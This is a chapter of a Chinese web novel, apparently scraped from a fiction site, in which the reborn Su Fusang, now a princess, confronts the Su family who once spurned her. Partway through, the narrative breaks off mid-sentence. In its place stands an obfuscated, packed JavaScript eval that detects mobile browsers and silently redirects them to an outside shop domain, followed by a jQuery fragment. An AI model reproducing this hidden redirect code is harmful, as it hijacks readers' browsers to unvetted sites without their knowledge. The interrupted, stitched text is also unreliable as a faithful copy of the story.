文趣网 > 其他小说 > 二哥哥 > 35. 再见苏家人
    檐角下的铜铃被风吹得作响不停,堆积的风云在大开的窗户投下阴影,冷雪顺着她的脖子往心里刮。

    苏拂桑挥开太子的手,哭过的鼻子带着鼻音,“还有什么痛苦的事?”

    被挥开的风庭絮看着指尖的眼泪,又落在牙尖咬紧,脖子绷紧,头仰着,故作坚强的苏拂桑脸上。

    她真的和他很像。

    像得让他仿佛看见了从前的他。

    他不知怎么的,原本准备的话在嘴中绕了一圈,最后掏出了怀里的另外一个锦盒。

    “第二个礼物。”

    苏拂桑迫不及待打开,她原本以为会得知第二个可怕的真相,她甚至想好了一切可怕的事件。

    可打开里面什么都没有,只有一个西洋八音盒。

    白色的透明的壳,里面一个少女躺在草地上,周边开满了花,随着音乐响起,天空变蓝变暖。

    苏拂桑打开盒子的手就这样僵住,她如愿听见了风庭絮得逞的笑,他头一次这样笑。

    眉眼舒张开,眼睛里不是看不透的深沉,而是一种玩弄的笑,露出的小牙像狐狸的尖牙。

    他笑着凑近,乌发顺势落下,挡住了外间的风采,让她眼里只能看见他。

    “愿君岁岁常欢愉,年年皆胜意。”

    *

    新年一过,政务也松散,苏拂桑去陪长公主时,时常能看见陛下。

    三人加上时不时来的太子,亲昵得仿佛平常唠嗑家长里短的百姓。

    冬日就这样过去了,开春,苏拂桑在宫门送别嘉措,风雪中她看见嘉措抿着唇,目光坚毅地望着皇宫。

    随后摸了摸她的头,策马扬鞭浩浩荡荡离开。

    风雪中传来他的声音,“囡囡,五年后,我来接你和母妃回家。”

    苏拂桑红了眼睛。

    而此时,卫明溪作为送别使臣,自然也在宫门,他走到苏拂桑身边,递出手中的帕子,将手中伞倾斜。

    “别哭,太医说你的眼睛不能再哭了,若哭下去可能会……”

    最后一个字,他咽入嘴中,心口发涩,像吞了一颗未熟的果子,喉咙和胸腔都泛起紧缩的酸楚。

    苏拂桑偏过头看了他一眼,忽然另外一张帕子递在眼前,小麦色的手掌。

    卫明溪看向高长彧,目光凌然,拿着帕子的手青筋凸起。

    “小侯爷,你的帕子有些脏了,怕是不适合王姬。”卫明溪目光落在帕子,温润假意提醒。

    高长彧最不喜欢卫明溪这幅笑里藏刀的样子,他手腕一撞,卫明溪的手顿时被压住。

    “我这是天蚕丝,最适合金枝玉叶的王姬,卫大人那粗布还是留给自己。”

    高长彧毫不客气点出卫明溪的贫穷。

    二人针锋相对,目光在空中碰撞出火花。

    而一旁的亘蝉掏出帕子,苏拂桑接过。

    两人的目光顿时看向亘蝉,随后各自收回帕子。

    “我送你回去。”

    “我也送你。”

    二人同时开口,高长彧皮笑肉不笑:“卫明溪你不是要去接你的养父母吗?怎么姓了卫家,就不认养育之恩了。”

    养父母二字跳入心中。

    苏拂桑顿时看向卫明溪,声音沙哑,“你养父母要来?”

    卫明溪手心攥成拳,“是。”

    “本殿下正好要去寻卫明云,就顺道与你一起。”

    高长彧傻眼了,他不过说了一句话,王姬怎么就和卫明溪要同路了。

    他想要开口,说自己可以送她去卫府。

    那边苏拂桑已经坐上马车,高长彧只能在后面痛恨自己这张嘴。

    马车咕噜噜滚动,车内安静至极。

    只有小泥炉上的茶壶冒着热气。

    卫明溪提起茶壶,壶嘴一倾,清香的茶落入白玉盏,他将茶推至苏拂桑前。

    “还要走一会儿,喝口茶暖暖。”

    苏拂桑没有接,她所有心神全落在苏家人到来,颤抖的手仿佛还拿着那封信。

    “别怕。”卫明溪坐过去,宽厚的手抱着她,想要将苏拂桑抱进他怀里。

    苏拂桑却一把推开他,恶心地干呕起来。

    “阿桑!”情急担忧下,卫明溪还是喊出了这个名字,他扑过去,想要看看怎么了。

    然而,看见的是一双怨恨的眼神。

    所有的动作顿住了,像陈年老旧的木偶,肢体僵硬,他没有再敢动,伸出的手慢慢垂下。

    他苦涩道:“厌恶我至此吗?”

    苏拂桑回过神,才发现自己没有在卫明溪面前忍住。

    然而这真的不是她能控制的。

    他一靠近,胃就猛地收缩了一下,像被人生生拧了一把。嘴里泛出淡淡的酸苦,喉咙口堵着什么,咽不下去也吐不出来。

    卫明溪就那样看着沉默的苏拂桑,目光软塌塌的,手指不安地搓着衣角。

    嘴张了一下,没出声,又闭上了。

    他什么都没说,可那双半垂的眼睛里像是下了一场很小的雨,淋不湿任何人除了他自己。

    苏拂桑干脆看着外面,不理会他。

    卫明溪也不问了,他就这样看着她,贪恋地看着她。

    马车逐渐由快变慢,苏拂桑心却开始变快。

    最终,随着车夫的一声到,马车停下。

    卫明溪先下了马车,下车时,不知怎么的苏拂桑脚有点软,险些摔倒。

    而此时门前,已经站了一群人。

    他们看见苏拂桑的步摇极速晃动,赶忙上前,“王姬,是下人不周到。”

    他抬起头,想要赔礼,看见王姬的脸时愣住,要说的话卡住。

    而后面跟随来的苏母,已经尖叫起来,“女儿,女儿,是阿桑。”

    她疯疯癫癫想要上前抱住她,卫明溪赶忙上前一步,“母亲,母亲。您认错了,这位是王姬。”

    “不可能,我不可能不认识自己的女儿。”

    苏母甩开卫明溪的手,卫明溪没有料到她会有这么大力气,一时不察让她甩开。

    苏母目光直直盯着苏拂桑,眼里满是思念,想要去抱她,想要问她去哪里了,过得好不好。想要问她,为什么不来找母亲。

    她一步步渴望挪过去,在她要靠近的一步,苏拂桑退后一步,目光落在苏母手上,“脏。”

    前进的脚步停下,苏母先是一愣,随后手在布料上擦了擦,伸出手,讨好笑道:“桑儿,看现在不脏了。”

    其实苏母贵为苏家主母,以前也是闺阁小姐,活儿都是下人干,怎么可能会脏。

    然而,苏拂桑就是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599991|202675||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    觉得肮脏。

    肮脏得让她又恶心反胃。

    她第一次满怀憧憬来时,也是这样望着苏母,可换来的是母亲的嫌弃。

    如今,在她死后,曾经爱而不得的东西却拥有了。

    苏拂桑真想大笑,话本子也是这样说的——人死了,所有的门都开了。

    可她站在门口,不知道该不该进去。

    那些东西摆在面前,冰凉,干净,像当铺柜台上被验过的旧物。

    她伸手摸了摸,不觉得烫,也不觉得暖。原来“得到”这件事,需要一颗还活着的心才能感受到重量。

    而她已经死了。

    于是她冷眼道:“莫用你这肮脏的手碰了我,你的手永远别想要。”

    她的话不是威胁,身后亘蝉已经将刀拔了出来。苏父赔笑过来将苏母挡在外面,小心翼翼道:“内人因失去女儿,悲伤过度,还望王姬谅解。”

    “没有下次。”

    苏拂桑丢下这话,慢悠悠走过去,人群分出一条道,他们都面露惊疑地看着苏拂桑,目光闪动。

    到了主厅,苏拂桑在上方坐下,目光扫视一圈,她看见苏之晓和苏之瑜好奇又害怕地看她,看见苏戚砚手心握成拳,看见苏母和苏父欲言又止。

    她笑了,因为这些表情以前只会出现在她身上。

    她轻啜茶水,放下茶盏,杯底与木桌相撞,发出清脆声响。

    所有人目光顿时看过来,苏拂桑开口道:“本殿下是来寻卫明云的,她人在何处。”

    苏父忐忑道:“明云去学院了,今年长公主宣布女子也可入翰林,入朝为官。”

    这事,苏拂桑在新年那日听长公主提起过,这事太惊世骇俗,当长公主提出来时。

    苏拂桑吓了一跳,目光立马看向对面皇帝和太子。

    当时太子像没有听见似的,晃着酒盏,目光虚浮,似醉了。

    而陛下沉默半响,留下一句日后说,搀扶着脚步虚浮的太子一起离开。

    一个月后,陛下说他会推行这项政策。

    而经过这几个月的百姓之间争吵和党派之间斗争,这项政策最终还是推行了。

    得知消息的时候,苏拂桑心里说不出的高兴。

    她立马掏出银两,在京城办女子学堂,不用交学费,女子免费读,且在里面读书,每个月可领五十文钱带回家。

    苏拂桑想,等她报完仇,她就走遍天下,在每一个地方办学堂,让每一个地方的女子读上书。

    而现在,她往后一靠,道:“既然卫明云不在,本殿下就在这等她。”

    苏府众人哪敢不同意,急忙为苏拂桑安排住处。

    西苑,苏拂桑躺在美人榻上,闭眼休息。

    忽然,窗户外传来窸窸窣窣声。

    “之晓,咱们偷偷去瞧王姬,被发现,一定会被母亲责骂。”

    “怕什么,你就不想看清王姬与那个死得好的贱人有多像吗?”

    死得好。

    原来在弟弟妹妹心里,她死得好。

    苏拂桑安抚亘蝉不要动,任由两人偷偷在窗边打量。

    等他们走后,苏拂桑坐起,目光森然,嘴角玩味勾起。

    她在亘蝉悄悄说了几句。

    很快,王姬玉佩被偷的消息传遍卫府。